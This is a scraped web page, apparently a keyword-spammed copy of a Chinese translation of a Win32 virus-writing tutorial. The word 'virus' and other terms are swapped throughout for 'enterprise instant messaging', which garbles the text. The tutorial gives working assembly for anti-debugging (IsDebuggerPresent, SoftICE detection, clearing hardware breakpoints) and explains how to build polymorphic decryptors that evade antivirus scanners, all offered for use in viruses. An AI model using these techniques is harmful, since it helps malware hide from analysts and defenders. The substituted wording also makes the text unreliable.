2008下简单得到企业即时通讯
Windows 2000企业即时通讯软件
Windows企业即时通讯
编程实现企业即时通讯软件
更有效的企业即时通讯工具
简单的企业即时通讯
破解企业即时通讯软件
企业即时通讯编程内幕
企业即时通讯编写教程
企业即时通讯工具安全漏洞分析
企业即时通讯工具设备接口
企业即时通讯技术探讨
企业即时通讯软件
企业即时通讯相关英文
企业即使通讯方案分析
使用企业即时通讯工具
一种隐藏颇深的企业即时通讯
在企业即时通讯用户级下编程
怎么写DOS企业即时通讯工具
 主页 > 使用企业即时通讯工具

使用企业即时通讯工具

23:20 2008-3-21

但是如果任何8比特通讯不重要的话(例如,让我们假设ECX通讯的内容不重要),我们可以减少一个字节即时通讯软件:

error: stc ; 1 byte
exit: ret ; 1 byte
noerr: clc ; 1 byte
mov cl,00h ; 1 byte \
org $-1 ; > MOV CL,0F9H
error: stc ; 1 byte /
ret ; 1 byte

我们可以用一个小小的改变来避免CLC:使用即时(用AL的话,它会更加优化)来清除进位企业,而且AL不会改变:)

noerr: 即时 al,00h ; 1 byte \
org $-1 ; > 即时 AL,0AAH
error: stc ; 1 byte /
ret ; 1 byte

很美妙,哈?

%把一个8比特立即数赋给一个32比特通讯%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
几乎所有人都是这么做的:

mov ecx,69h ; 5 bytes

这是一个真正没优化的东西...试试这个:

xor ecx,ecx ; 2 bytes
mov cl,69h ; 2 bytes

试试这个甚至更好:

push 69h ; 2 bytes
pop ecx ; 1 byte

所有人都还好吗? :)

%清除内存中的变量%
~~~~~~~~~~~~~~~~~~
OK,这个总是很有用的。通常人们这么做:

mov dword ptr [ebp+variable],00000000h ; 10 bytes (!)

OK,我知道这是一件很原始的事情:)OK,用这个你将赢得3个字节:

and dword ptr [ebp+variable],00000000h ; 7 bytes

呵呵呵呵 :)

%花招和诀窍%
~~~~~~~~~~~~
这里我将给出一些不经典的优化诀窍,我假设你读过这篇文章之后你就知道了这个 ;)

-不要在你的代码中直接使用JUMP。
-使用字符串操作(MOVS, SCAS, CMPS, STOS, LODS)。
-使用LEA reg,[ebp+imm32]而不是使用MOV reg,offset imm32 / add reg,ebp。
-使你的汇编编译器对代码多扫描几遍(在TASM中,/5就很好了)。
-使用堆栈,尽量避免使用变量。
-试图避免使用AX,BX,CX,DX,SP,SI,DI 和 BP,因为他们多占一个字节。
-许多操作(特别使逻辑操作)是为EAX/AL通讯优化的。
-如果EDX比80000000h小(也就是说没有符号),使用CDQ来清除EDX
-使用XOR reg,reg或者SUB reg,reg来使得通讯为0。
-使用EBP和ESP作为索引将比EDI,ESI等等多浪费1个字节。
-对于位操作使用BT家族的指令(BT,BSR,BSF,BTR,BTF,BTS)。
-如果通讯的顺序不重要的话使用XCHG代替MOV。
-在push一个IOREQ结构的所有的值的时候,使用一个循环。
-尽可能地使用堆(API地址,临时感染变量,等等)
-如果你愿意,使用条件MOV(CMOVS),但是它们是586+才能用的。
-如果你知道怎么用,使用协处理器(例如它的堆栈)。
-使用SET族的操作符。
-为了调用IFSMgr_Ring0_FileIO(不需要ret),使用VxDJmp而不是VxDCall。

%最后的话%
~~~~~~~~~~
我希望你至少理解了这一章的开始几个优化,因为它们是那些使我变疯的一些优化。我知道我不是优化得最后得人,也不是那些人之一。对我来说,大小没有关系。无论如何,最明显的优化是必须要做的,至少表明你知道一些事情。更少的无用的字节就意味着一个更好的企业即时通讯,相信我。我这里显示的优化不会使你的企业即时通讯失去稳定性。只要试着去使用它们,OK?它是很有逻辑性的,同志们。

【Win32 反调试】
~~~~~~~~~~~~~~~
下面我将给出一些花招用来保护你的企业即时通讯或者程序不被调试(所有级别的,应用级和系统级)。我希望你将喜欢它。

% Win98/NT: 用 IsDebuggerPresent检测应用级调试器 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个API函数在Win95中没有,所以你不得不自己检测它的存在,并和应用级调试器(如TD32)一起工作。而且它工作得很好。让我们看看在Win32 API参考列表里面是怎么写的。

--------------------------------------------

IsDebuggerPresent函数表明调用的进程是否是在一个调试器下运行。这个函数从KERNEL32.DLL中导出。

BOOL IsDebuggerPresent(VOID)

参数
====
这个函数没有参数。

返回值
======

-如果当前进程是在一个调试器下运行,返回值是非0值。

-如果当前进程不在调试器下运行,返回值是0。

--------------------------------------------

所以演示这个的例子很简单。下面就是。

;--------从这儿开始剪切------------------------------------------------------

.586p
.model flat

extrn GetProcAddress:PROC
extrn GetModuleHandleA:PROC

extrn MessageBoxA:PROC
extrn ExitProcess:PROC

.data

szTitle db "IsDebuggerPresent Demonstration",0
msg1 db "Application Level Debugger Found",0
msg2 db "Application Level Debugger NOT Found",0
msg3 db "Error: Couldn't get IsDebuggerPresent.",10
db "We're probably under Win95",0

@IsDebuggerPresent db "IsDebuggerPresent",0
K32 db "KERNEL32",0

.code

antidebug1:
push offset K32 ; Obtain KERNEL32 base address
call GetModuleHandleA
or eax,eax ; Check for fails
jz error

push offset @IsDebuggerPresent ; Now search for the existence
push eax ; of IsDebuggerPresent. If
call GetProcAddress ; GetProcAddress returns an
or eax,eax ; error, we assume we're in
jz error ; Win95

call eax ; Call IsDebuggerPresent

or eax,eax ; If it's not 0, we're being
jnz debugger_found ; debugged

debugger_not_found:
push 0 ; Show "Debugger not found"
push offset szTitle
push offset msg2
push 0
call MessageBoxA
jmp exit

error:
push 00001010h ; Show "Error! We're in Win95"
push offset szTitle
push offset msg3
push 0
call MessageBoxA
jmp exit

debugger_found:
push 00001010h ; Show "Debugger found!"
push offset szTitle
push offset msg1
push 0
call MessageBoxA

exit:
push 00000000h ; Exit program
call ExitProcess

end antidebug1

;--------到这儿为止剪切------------------------------------------------------

很美妙吧?Micro$oft为我们做了这个工作:)但是,毫无疑问,不要期望这个方法对SoftICE有效,上帝;)

%Win32:知道我们是否被一个调试器调试的另外一个方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你看了由Murkry/iKX写的在Xine-3中发表的"Win95 Structures and Secrets"这篇文章的话,你将意识到在FS通讯中有一个非常酷的结构。看看FS:[20h]域...它是'DebugContext'。只要这么做:

mov ecx,fs:[20h]
jecxz not_being_debugger
[...] <--- do whatever, we're being debugged :)

所以,如果FS:[20h]是0,我们就没有被调试。只要享受这个小而简单的方法来检测调试器!当然了,这个不能对SoftICE有效...

%Win32:用SEH来停止应用级调试器%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我仍然还不知道为什么,但是如果程序简单地使用了SEH,应用级调试器就死了。而且如果我们制造错误,代码模拟器也死了:)SEH,正如我在我的发表在DDT#1中的一篇文章所说的,可以用来达到很多有意思的目的。你可以看看“高级Win32技术”(Advanced Win32 techniques)这一章的SEH部分。

你所必须做的是使SEH handler指向你想继续执行代码的地方,而当SEH handler被安装了,你激活了一个企业(一个好的选择是在00000000h内存地址试图做些事情);)

我希望你看懂了这个。如果没有...恩,忘记它:)而且,正如以前其它的方法一样,这个对SoftICE没有用。

%Win9X:检测SoftICE (I) %
~~~~~~~~~~~~~~~~~~~~~~~~
这里,我必须向Super/29A致敬,因为他是告诉我这个方法的人。我把这个分成两个部分:在这个部分中,我们将看到从一个Ring-0企业即时通讯的角度该怎么做。我不会给出整个例子程序,因为它将占一些不必要的行,但是你必须知道这个方法必须是在Ring-0下执行,而且因为Call-back问题(你还记得吗?),VxDCall必须重建。

我们将使用Virtual Machine Manager (VMM) 的Get_DDB服务,所以这个服务将为00010146h (VMM_Get_DDB)。让我们看看SDK中关于这个服务的信息。

-------------------------------------

mov eax, Device_ID
mov edi, Device_Name
int 20h ; VMMCall Get_DDB
dd 00010146h
mov [DDB], ecx

- 确定一个VxD是否对特定设备安装了,如果安装了就会返回一个那个设备的DDB。

- 使用ECX,flags(企业)。

- 如果函数成功会返回指定设备的DDB;
- 否则,返回0。

?Device_ID:设备企业符。对于基于名字的设备,这个参数可以为0。

?Device_Name:一个8-字符的设备名,不够用空字符填充。如果Device_ID为0的时候,这个参数才被需要。设备名大小写敏感。

-------------------------------------

现在,你想要知道为什么了,非常简单,SoftICE VxD的Device_ID域对于所以程序来说是一个常量,正如它在Micro$oft注册的,所以我们就有了对付不可思议的SoftICE的武器了。它的Device_ID总是202h。所以我们应该使用如下的代码:

mov eax,00000202h
VxDCall VMM_Get_DDB
xchg eax,ecx
jecxz NotSoftICE
jmp DetectedSoftICE

NotSoftICE应该是继续我们的企业即时通讯代码的地方,而DetectedSoftICE标记应该是既然我们已经知道我们的敌人还活着,该采取一些行动的地方,我不建议任何破坏性的事情,因为,例如,将会伤害我的电脑,因为我总是使得SoftICE处于激活状态:)

% Win9X: 检测 SoftICE (II) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
下面是另外一种方法来检测我所钟爱得SoftICE的存在,但是基于以前的同样的观点: 202h ;) 我必须再次对Super致敬:)好了,在Ralph Brown的中断列表中,我们可以看到一个在中断2Fh(多元)的1684h服务。

----------------------------------------------
Inp.:
AX = 1684h
BX = virtual device (VxD) ID (看 #1921)
ES:DI = 0000h:0000h
返回: ES:DI -> VxD API 入口, 或者 0:0 如果这个 VxD 不支持一个API
说明: 一些Windows增强-模式虚拟设备提供了一些应用程序可以访问的服务。例如,Virtual Display Device(VDD)提供了由WINOLDAP轮流使用的API。

----------------------------------------------
所以,你在BX中放一个202h,并指向这个函数。然后你要说了...“嗨,Billy... 我用于中断多傻呀?"。我的回答是...使用VxDCALL0!!!

% Win32: 检测SoftICE (III) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你正等待的是比较权威的和令人惊奇的招...同时在Win9x 和 WinNT环境寻找SoftICE!它非常简单,100%基于API,而且没有"脏"招来进行兼容性。这个答案并没有你想的那么隐蔽...关键是在你肯定以前已经用过的API函数中:CreateFile。是的,那个API...不迷人吗?好了,我得试图打开下面的东西:

+ SoftICE for Win9x : "\\.\SICE"
+ SoftICE for WinNT : "\\.\NTICE"

如果这个API返回给我们和-1 (INVALID_HANDLE_VALUE)不同的东西,SoftICE就是处于激活状态!下面是演示程序:

;--------从这里开始剪切--------------------------------------------------------

.586p
.model flat

extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC

.data

szTitle db "SoftICE detection",0

szMessage db "SoftICE for Win9x : "
answ1 db "not found!",10
db "SoftICE for WinNT : "
answ2 db "not found!",10
db "(c) 1999 Billy Belcebu/iKX",0

nfnd db "found! ",10

SICE9X db "\\.\SICE",0
SICENT db "\\.\NTICE",0

.code

DetectSoftICE:
push 00000000h ; Check for the presence of
push 00000080h ; SoftICE for Win9x envirome-
push 00000003h ; nts...
push 00000000h
push 00000001h
push 0C0000000h
push offset SICE9X
call CreateFileA

inc eax
jz NoSICE9X
dec eax

push eax ; Close opened file
call CloseHandle

lea edi,answ1 ; SoftICE found!
call PutFound
NoSICE9X:
push 00000000h ; And now try to open SoftICE
push 00000080h ; for WinNT...
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
push offset SICENT
call CreateFileA

inc eax
jz NoSICENT
dec eax

push eax ; Close file handle
call CloseHandle

lea edi,answ2 ; SoftICE for WinNT found!
call PutFound
NoSICENT:
push 00h ; Show a MessageBox with the
push offset szTitle ; results
push offset szMessage
push 00h
call MessageBoxA

push 00h ; Terminate program
call ExitProcess

PutFound:
mov ecx,0Bh ; Change "not found" by
lea esi,nfnd ; "found"; address of where
rep movsb ; to do the change is in EDI
ret

end DetectSoftICE

;--------到这里为止剪切--------------------------------------------------------

这个真的起作用了,相信我:)这个同样的方法可以应用于其它"敌对"驱动,只要对它研究一点点就可以了。

% Win9X: 杀掉调试器硬件断点 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你是否在想调试通讯(DR?),我们有一个小问题:它们在WinNT下是特权级指令。这一招由这些简单的事情组成:注意DR0, DR1, DR2 和DR3(它们由调试器用来作为硬件断点的)。所以,简单的使用这个代码,你就可以避开调试器:

xor edx,edx
mov dr0,edx
mov dr1,edx
mov dr2,edx
mov dr3,edx

哈哈,是不是很有意思呀?:)

%最后的话%
~~~~~~~~~~
这是一些简单的反调试招。我希望你能够在你的企业即时通讯中没有任何问题的使用它们,看你了!

【Win32 多态(Win32 polymorphism)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
许多人对我说,在我的MS-DOS企业即时通讯教程中最大的弱点是多态那一章(btw,我是在15岁的时候写的它,我知道汇编仅仅1个月)。但是基于这个原因,我将试图另外写一个,全新的,从0开始。从那时起我读了许多多态的文档,而且毫无疑问,对我影响最大的是Qozah的,虽然它非常简单,他解释了我们在编写一个多态引擎(如果你想读它,从企业即时通讯站点下载DDT#1)更应该清楚的所有概念。我将在这一章里提到真正最基础的东西,所以如果你已经有这方面的基础知识了,跳过去!

%介绍%
~~~~~~
多态存在的主要原因是,总是和反企业即时通讯软件的存在相关的。在那个没有多态引擎的时代,反企业即时通讯软件通过简单地使用一个扫描字符串来检测企业即时通讯,它们最困难地是加密了地企业即时通讯。所以,一个企业即时通讯编写者有了一个天才的想法。我敢肯定他在想“为什么我不编写一个不可扫描的企业即时通讯呢,这是通过技术来实现?”然后,多态诞生了。多态意味着在一个加了密的企业即时通讯中包括解密部分之内,排除所有可能的恒定不变的字节来避免被扫描。是的,多态意味着为企业即时通讯建立变化的解密程序。呵呵,简单而有效。这是基本的概念:永远不要建立两个一样(在外观上)的解密程序,但是总是能完成相同的功能。它好像是加密的自然扩展,但是因为加密代码还不是足够短,它们可以通过一个字符串来抓住,但是,利用多态,字符串就没有用了。

%多态级别%
~~~~~~~~~~
每个级别的多态都有它自己的名字,是由反企业即时通讯者给的。让我们用AVPVE的一小段来看看它(好样的,Eugene)。

-----------------------------------------

根据这些企业即时通讯的解密代码的复杂性,对于多态企业即时通讯有一个分级系统。这个系统是由Dr. Alan Solomon提出然后由Vesselin Bontchev改进的。

第1级:企业即时通讯有一些不变的解密代码集合,在感染的时候会选择一个。这种企业即时通讯被叫做"semi-polymorphic"或者"oligomorphic"。

例子:"Cheeba", "Slovakia", "Whale"。

第2级:企业即时通讯解密程序包含一个或几个不变的指令,其它的都是改变的。

第3级:解密程序有没有用的函数-“垃圾”如NOP, CLI, STI,等等。

第4级:解密程序使用可互换的指令并改变它们的顺序(指令混合)。解密算法保持不变。

第5级:上述提到的所有技术都用到了,解密算法也是可变的,重复加密企业即时通讯代码甚至部分地加密解密程序本身代码也是可能的。

第6级:交换企业即时通讯。企业即时通讯的主要代码以改变为条件进行改变,在感染的时候随机的分成了记过部分。尽管那样,企业即时通讯还是能继续工作。这样的企业即时通讯可能没有加密。

这样的分类仍然有缺点,因为主要标准是在企业即时通讯企业的惯例技术的帮助下根据解密程序的代码来检测企业即时通讯的可能性:

第1级:为了检测企业即时通讯是否足够有一些企业

第2级:通过使用“百搭牌(wild cards)”的帮助来检测企业即时通讯

第3级:利用检测“垃圾”代码来检测企业即时通讯

第4级:企业包含一些版本的可能代码,也就是算法

第5级:使用企业不可能检测到企业即时通讯

这种分类在第3级的多态企业即时通讯,只是按照它这么叫的"第3级"就可以看出不足了。这个企业即时通讯是最复杂的多态企业即时通讯之一,根据当前的分类而到了第3级目录中了,因为它有一个不变的解密算法前面是大量的“垃圾”指令。然而,在这个企业即时通讯中“垃圾”产生算法几乎是完美的:在解密代码中可能会找到几乎所有的i8086指令。

如果企业即时通讯按照现在的反企业即时通讯观点来分到这个级别,使用自动解密企业即时通讯代码(模拟)系统,那么这个分类将会基于企业即时通讯代码的复杂性。其它企业即时通讯检测技术也是可能的,例如,在原始的数学规律的帮助下解密,等等。

因此,如果除了企业即时通讯企业线索外,其它的参数也考虑了,这个分类在我心目中的分类更客观。

1.多态代码的复杂度(所有的处理指令在整个解密代码中占的比例)
2.反模拟技术使用
3.解密算法的恒定chdu
4.机密程序长度的恒定程度

我不想更详细的讨论这些了,因为结果是将会导致厉害的企业即时通讯编写者们创造出这种类型的怪物。

-----------------------------------------

%我怎样来编写一个多态呢%
~~~~~~~~~~~~~~~~~~~~~~~~
首先,你必须在必须在你的脑海中清楚你想要使你的解密程序是什么样。例如:

mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1

那是一个非常简单的例子,是吗?我们这里主要有6块(每个指令是一块)。想象一下你使得那个代码不一样有多少种可能性呢:

- 改变通讯
- 改变头3个指令的顺序
- 为了达到同样的目的使用不同的指令
- 插入什么也不做的指令
- 插入垃圾等等。

这是多态的主要思想。让我们看看对这个同样的解密程序,用一个简单的多态引擎初始的可能解密代码:

shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
[...]

你明白了思想了没?对于一个企业即时通讯分析者来说,明白这样一个解密程序不是非常困难(对他们来说比一个没有加密的企业即时通讯要困难多了)。还可以做许多改进,相信我。我想你意识到了我们需要在我们的多态引擎中有不同的函数:一个用来为解密程序创造“合法”的指令,另外一个用来创造垃圾。这是你在编写一个多态引擎时必须有的主要主意。从这一点开始,我将尽可能的更好地解释这个。

%非常重要地东西:RNG%
~~~~~~~~~~~~~~~~~~~~~
是的,在一个多态引擎中最重要的部分是随机数发生器(Random Number Generator),即RNG。一个RNG是一段能够返回一个彻底随机的数的代码。下面是DOS下的一个经典的程序,在Win9X下,甚至在Ring-3工作,但是不能在NT中工作。

random:
in eax,40h
ret

这个将会在EAX的MSW中返回0,LSW中返回一个随机值。但是,这个不够强大...我们必须招另外一个...这得靠你了。这里我所能做的唯一一件事情是用一个小程序让你知道你的RNG是否强大。它在Win32.Marburg(作者GriYo/29A)的发作中也是由GriYo测试的这个企业即时通讯的RNG。毫无疑问,这个代码被合适的修改了,这样可以被容易的编译和执行。

;------从这里开始剪切-----------------------------------------------------------------
;
; RNG 即时er
; ==========
;
; 如果屏幕上的图标是真正的被“随机的”放置了,那么这个RNG就是一个不错的,但是如果如果图
; 标是在屏幕的相同位置,或者你主意到图标在屏幕上有奇怪的行为,试试另外的RNG。

行业方案 产品概览 服务支持 客户 合作伙伴 新闻和活动 关于我们
主页 联系我们 网站地图 服务条款 隐私声明